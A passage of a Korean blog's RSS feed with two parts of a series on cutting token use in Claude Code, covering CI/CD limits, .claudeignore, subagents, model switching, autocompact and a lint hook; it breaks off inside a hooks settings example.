&lt;li&gt;&lt;strong&gt;예산 알림&lt;/strong&gt; — 사용량이 임계치(80%)에 도달하면 알림 설정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;사용 가이드 공유&lt;/strong&gt; — 이 시리즈의 초급/중급 체크리스트를 팀 위키에 공유&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;6. CI/CD 파이프라인에서의 토큰 최적화&lt;/h2&gt;
&lt;p&gt;Claude Code를 CI/CD에서 자동화 도구로 사용하는 경우, 토큰 관리가 특히 중요합니다.&lt;/p&gt;
&lt;h3&gt;CI에서의 토큰 절약 전략&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# GitHub Actions 예시 — 필요한 작업만 정확히 지정&lt;/span&gt;
claude --max-turns &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;--model&lt;/span&gt; claude-sonnet-4-6 &lt;span class=&quot;token punctuation&quot;&gt;\&lt;/span&gt;
  &lt;span class=&quot;token string&quot;&gt;&quot;src/ 디렉토리의 변경된 파일에 대해 코드 리뷰하고
   문제가 있으면 GitHub 코멘트로 남겨줘.
   문제 없으면 &apos;LGTM&apos;만 출력.&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;CI/CD 체크리스트:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;설정&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;모델&lt;/td&gt;
&lt;td&gt;Sonnet 또는 Haiku (Opus 불필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;max-turns&lt;/td&gt;
&lt;td&gt;작업별 최소값 설정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;프롬프트&lt;/td&gt;
&lt;td&gt;출력 형식을 명확히 지정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;.claudeignore&lt;/td&gt;
&lt;td&gt;테스트/빌드 산출물 제외&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;7. 전체 토큰 최적화 아키텍처&lt;/h2&gt;
&lt;p&gt;지금까지 초급·중급·고급에서 다룬 모든 전략을 하나의 구조로 정리합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;┌─────────────────────────────────────────────┐
│           토큰 최적화 아키텍처                  │
├─────────────────────────────────────────────┤
│                                             │
│  [Layer 1: 습관] ← 초급편                    │
│   ├── /compact &amp;amp; /clear                     │
│   ├── 간결한 프롬프트                         │
│   └── 작업 단위 분리                          │
│                                             │
│  [Layer 2: 설정] ← 중급편                    │
│   ├── .claudeignore                         │
│   ├── autocompact                           │
│   ├── 모델 전환 전략                          │
│   └── Hook 자동화                            │
│                                             │
│  [Layer 3: 시스템] ← 고급편                   │
│   ├── Memory 시스템                          │
│   ├── Skill 최적화                           │
│   ├── 워크트리 격리                           │
│   ├── max-turns 제한                         │
│   └── 비용 모니터링                           │
│                                             │
└─────────────────────────────────────────────┘&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;적용 우선순위&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;순위&lt;/th&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;ROI (투자 대비 효과)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;/clear + 세션 분리&lt;/td&gt;
&lt;td&gt;최고 — 0초 투자, 즉각 효과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;.claudeignore&lt;/td&gt;
&lt;td&gt;높음 — 5분 설정, 영구 효과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;autocompact&lt;/td&gt;
&lt;td&gt;높음 — 1분 설정, 영구 효과&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;모델 전환 전략&lt;/td&gt;
&lt;td&gt;높음 — 습관만 들이면 됨&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;간결한 프롬프트&lt;/td&gt;
&lt;td&gt;중간 — 꾸준한 의식 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;Memory 시스템&lt;/td&gt;
&lt;td&gt;중간 — 초기 설정 필요&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Skill 파일&lt;/td&gt;
&lt;td&gt;중간 — 반복 작업이 있을 때&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;max-turns&lt;/td&gt;
&lt;td&gt;중간 — 자율 실행 시 필수&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;워크트리 격리&lt;/td&gt;
&lt;td&gt;상황적 — 병렬 작업 시 유용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;CI/CD 최적화&lt;/td&gt;
&lt;td&gt;상황적 — 자동화 사용 시&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;고급편 요약 — 최종 체크리스트&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;방법&lt;/th&gt;
&lt;th&gt;절약 효과&lt;/th&gt;
&lt;th&gt;적용 난이도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Memory 시스템&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Skill 최적화&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;워크트리 격리&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;max-turns 제한&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;쉬움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;비용 모니터링&lt;/td&gt;
&lt;td&gt;★★★☆☆&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;CI/CD 최적화&lt;/td&gt;
&lt;td&gt;★★★★☆&lt;/td&gt;
&lt;td&gt;어려움&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;전체 아키텍처 적용&lt;/td&gt;
&lt;td&gt;★★★★★&lt;/td&gt;
&lt;td&gt;단계적&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;FAQ&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Q. 이 모든 걸 한꺼번에 적용해야 하나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;아닙니다. &lt;strong&gt;초급편부터 순서대로&lt;/strong&gt; 적용하세요. 초급의 습관만으로도 50% 이상 절약되고, 중급 설정까지 적용하면 70% 이상 줄어듭니다. 고급 전략은 비용이 여전히 높거나 팀 단위로 관리가 필요할 때 도입하면 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. Memory가 너무 많아지면 오히려 토큰이 늘어나지 않나요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;네, 그렇습니다. MEMORY.md 인덱스는 매 세션 시작 시 로드되므로, 200줄을 넘지 않도록 관리해야 합니다. 오래되거나 불필요한 Memory는 주기적으로 정리하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Q. Max 요금제에서도 이 전략들이 유효한가요?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Max 요금제도 시간당/일별 사용량 제한이 있습니다. 토큰을 효율적으로 쓰면 rate limit에 덜 걸리고, 같은 시간에 더 많은 작업을 처리할 수 있습니다. 속도와 생산성 측면에서 여전히 중요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;시리즈 마무리&lt;/h2&gt;
&lt;p&gt;3편에 걸쳐 Claude Code 토큰 절약 전략을 정리했습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;편&lt;/th&gt;
&lt;th&gt;핵심&lt;/th&gt;
&lt;th&gt;대상&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;초급&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;습관 (compact, clear, 프롬프트)&lt;/td&gt;
&lt;td&gt;Claude Code 입문자&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;중급&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;설정 (claudeignore, Hook, 모델 전환)&lt;/td&gt;
&lt;td&gt;일정 기간 사용한 유저&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;고급&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;시스템 (Memory, Skill, 워크트리, CI)&lt;/td&gt;
&lt;td&gt;파워유저 &amp;#x26; 팀 리더&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;결국 핵심은 하나입니다: &lt;strong&gt;Claude에게 보내는 컨텍스트를 최소한으로 유지하면서, 필요한 정보만 정확히 전달하는 것.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;이 원칙만 기억하면, 새로운 기능이 추가되더라도 토큰 절약 전략을 스스로 세울 수 있습니다.&lt;/p&gt;
&lt;p&gt;여러분만의 토큰 절약 노하우가 있다면 댓글로 공유해주세요! 시리즈를 읽어주셔서 감사합니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Claude Code 토큰 절약 가이드 [중급편] — 설정과 워크플로우 최적화 7가지]]></title><description><![CDATA[Claude Code 토큰 절약 가이드 중급편 커버 — 설정·워크플로우 최적화 7가지 안녕하세요, 자바파커입니다. "compact도 하고, clear…]]></description><link>https://blog.javapark.kr/token-saving-intermediate/</link><guid isPermaLink="false">https://blog.javapark.kr/token-saving-intermediate/</guid><pubDate>Sun, 05 Apr 2026 14:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/claude-code-token-saving-intermediate.png&quot; alt=&quot;Claude Code 토큰 절약 가이드 중급편 커버 — 설정·워크플로우 최적화 7가지&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;compact도 하고, clear도 하고, 프롬프트도 짧게 쓰는데... 그래도 토큰이 빠르게 줄어요.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;초급편의 기본 습관을 적용하고 나면, 다음으로 눈을 돌려야 할 곳은 &lt;strong&gt;설정과 워크플로우&lt;/strong&gt;입니다. Claude Code가 불필요하게 읽는 파일을 차단하고, 작업 구조 자체를 최적화하는 단계입니다.&lt;/p&gt;
&lt;p&gt;이 글은 &lt;strong&gt;[초급 → 중급 → 고급] 시리즈의 두 번째 편&lt;/strong&gt;입니다. 초급편을 아직 안 읽으셨다면 먼저 확인해보세요.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. .claudeignore로 불필요한 파일 차단하기&lt;/h2&gt;
&lt;p&gt;Claude Code는 프로젝트를 분석할 때 파일을 읽습니다. 문제는 &lt;strong&gt;읽을 필요 없는 파일까지 읽는다&lt;/strong&gt;는 것입니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;node_modules&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;dist&lt;/code&gt;, 빌드 산출물, 로그 파일... 이런 것들이 컨텍스트에 포함되면 토큰이 낭비됩니다.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;.gitignore&lt;/code&gt;처럼 &lt;code class=&quot;language-text&quot;&gt;.claudeignore&lt;/code&gt; 파일을 프로젝트 루트에 만들면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;gitignore&quot;&gt;&lt;pre class=&quot;language-gitignore&quot;&gt;&lt;code class=&quot;language-gitignore&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# .claudeignore — Claude Code가 무시할 파일/폴더&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 빌드 산출물&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;dist&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;build&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.next&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;out&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 의존성&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;node_modules&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;vendor&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.venv&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 로그 &amp;amp; 캐시&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.log&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.cache&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;.turbo&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;coverage&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 대용량 데이터&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.csv&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.sql&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;data&lt;span class=&quot;token punctuation&quot;&gt;/&lt;/span&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 미디어 파일 (읽어도 의미 없음)&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.mp4&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.mp3&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;.zip&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 락 파일 (보통 수정할 일 없음)&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;package-lock.json&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;yarn.lock&lt;/span&gt;
&lt;span class=&quot;token entry string&quot;&gt;pnpm-lock.yaml&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;.claudeignore의 효과&lt;/h3&gt;
&lt;p&gt;실제 프로젝트에서 측정한 결과입니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;프로젝트 유형&lt;/th&gt;
&lt;th&gt;.claudeignore 전&lt;/th&gt;
&lt;th&gt;.claudeignore 후&lt;/th&gt;
&lt;th&gt;절약률&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;React SPA (중형)&lt;/td&gt;
&lt;td&gt;파일 탐색 시 ~3,000 파일&lt;/td&gt;
&lt;td&gt;~200 파일&lt;/td&gt;
&lt;td&gt;93% 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Node.js API&lt;/td&gt;
&lt;td&gt;~1,500 파일&lt;/td&gt;
&lt;td&gt;~150 파일&lt;/td&gt;
&lt;td&gt;90% 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;모노레포&lt;/td&gt;
&lt;td&gt;~10,000 파일&lt;/td&gt;
&lt;td&gt;~500 파일&lt;/td&gt;
&lt;td&gt;95% 감소&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;파일 탐색 범위가 줄어들면 Claude가 관련 파일을 찾는 과정에서 소모하는 토큰도 크게 줄어듭니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. 서브에이전트로 컨텍스트 분리하기&lt;/h2&gt;
&lt;p&gt;Claude Code에는 &lt;strong&gt;서브에이전트(Subagent)&lt;/strong&gt; 기능이 있습니다. 메인 대화의 컨텍스트를 오염시키지 않고 별도의 작업을 수행할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;서브에이전트가 토큰을 줄이는 원리&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[메인 대화] ────────────────────────────────
  │
  ├─→ [서브에이전트 1] 파일 검색 → 결과만 반환
  │     (자체 컨텍스트에서 작업, 메인에 영향 없음)
  │
  ├─→ [서브에이전트 2] 테스트 실행 → 결과만 반환
  │
  └─→ 메인 대화는 결과 요약만 받음 → 컨텍스트 최소&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;서브에이전트는 &lt;strong&gt;자체 컨텍스트&lt;/strong&gt;에서 작업하고, 메인 대화에는 결과 요약만 돌아옵니다. 대규모 코드 탐색이나 테스트 실행처럼 &lt;strong&gt;출력이 긴 작업&lt;/strong&gt;에서 특히 효과적입니다.&lt;/p&gt;
&lt;h3&gt;서브에이전트를 유도하는 프롬프트&lt;/h3&gt;
&lt;p&gt;Claude Code는 복잡한 작업에서 자동으로 서브에이전트를 사용하지만, 명시적으로 유도할 수도 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;이 프로젝트에서 사용하지 않는 의존성을 찾아줘.
각 의존성별로 사용 여부를 별도로 조사해서 결과만 알려줘.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&quot;별도로 조사해서 결과만&quot;이라는 표현이 서브에이전트 활용을 유도합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. 모델 전환으로 토큰 단가 낮추기&lt;/h2&gt;
&lt;p&gt;모든 작업에 최상위 모델을 쓸 필요는 없습니다. Claude Code에서는 작업 중간에 모델을 전환할 수 있습니다.&lt;/p&gt;
&lt;h3&gt;모델별 특성과 추천 용도&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;모델&lt;/th&gt;
&lt;th&gt;속도&lt;/th&gt;
&lt;th&gt;능력&lt;/th&gt;
&lt;th&gt;토큰 단가&lt;/th&gt;
&lt;th&gt;추천 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Haiku&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;매우 빠름&lt;/td&gt;
&lt;td&gt;기본&lt;/td&gt;
&lt;td&gt;가장 저렴&lt;/td&gt;
&lt;td&gt;단순 수정, 포매팅, 검색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Sonnet&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;빠름&lt;/td&gt;
&lt;td&gt;중상&lt;/td&gt;
&lt;td&gt;중간&lt;/td&gt;
&lt;td&gt;일반 코딩, 리팩토링&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Opus&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;보통&lt;/td&gt;
&lt;td&gt;최상&lt;/td&gt;
&lt;td&gt;가장 비쌈&lt;/td&gt;
&lt;td&gt;아키텍처 설계, 복잡한 버그&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;실전 전환 전략&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 기본 모델 설정 (설정에서)&lt;/span&gt;
claude config &lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; model claude-sonnet-4-6

&lt;span class=&quot;token comment&quot;&gt;# 복잡한 작업이 필요할 때만 Opus로 전환&lt;/span&gt;
claude &lt;span class=&quot;token parameter variable&quot;&gt;--model&lt;/span&gt; claude-opus-4-6&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;또는 대화 중에 &lt;code class=&quot;language-text&quot;&gt;/model&lt;/code&gt; 명령어로 전환할 수 있습니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;전략:&lt;/strong&gt; 일상 작업은 Sonnet, 복잡한 설계나 디버깅에만 Opus를 사용하면 비용 효율이 크게 개선됩니다. 단순 포매팅이나 이름 변경 같은 작업은 Haiku로도 충분합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. autocompact 설정하기&lt;/h2&gt;
&lt;p&gt;초급편에서 &lt;code class=&quot;language-text&quot;&gt;/compact&lt;/code&gt;를 수동으로 실행하는 법을 다뤘습니다. 이걸 자동화할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ~/.claude/settings.json&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;preferences&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;autoCompact&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;autocompact 동작 방식&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;컨텍스트 크기가 임계점을 넘으면 &lt;strong&gt;자동으로 대화를 압축&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;사용자가 신경 쓰지 않아도 토큰이 관리됨&lt;/li&gt;
&lt;li&gt;압축 시점은 Claude가 자동 판단&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;커스텀 압축 프롬프트&lt;/h3&gt;
&lt;p&gt;단순 &lt;code class=&quot;language-text&quot;&gt;true&lt;/code&gt; 대신 문자열을 넣으면 압축 시 지시사항을 줄 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;preferences&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;autoCompact&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;코드 변경 사항과 결정 사항 위주로 유지하고 나머지는 압축&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이렇게 하면 중요한 맥락은 보존하면서 불필요한 대화만 정리됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. Hook으로 반복 작업 자동화하기&lt;/h2&gt;
&lt;p&gt;Hook은 특정 이벤트가 발생할 때 &lt;strong&gt;자동으로 쉘 명령을 실행&lt;/strong&gt;하는 기능입니다. Claude가 직접 명령을 실행하는 것보다 토큰 소모가 적습니다.&lt;/p&gt;
&lt;h3&gt;왜 Hook이 토큰을 줄이는가?&lt;/h3&gt;
&lt;p&gt;Claude가 직접 린터를 실행하면:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;린트 명령어 생성 (출력 토큰)&lt;/li&gt;
&lt;li&gt;실행 결과를 읽음 (입력 토큰)&lt;/li&gt;
&lt;li&gt;결과 해석 (출력 토큰)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hook으로 자동화하면:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;파일 저장 시 자동 실행 (토큰 0)&lt;/li&gt;
&lt;li&gt;에러가 있을 때만 Claude에게 전달&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;토큰 절약에 효과적인 Hook 예시&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// ~/.claude/settings.json&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;hooks&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;PostToolUse&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;matcher&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;Edit|Write&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;command&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npx eslint --fix $CLAUDE_FILE_PATH 2&gt;/dev/null || true&quot;&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
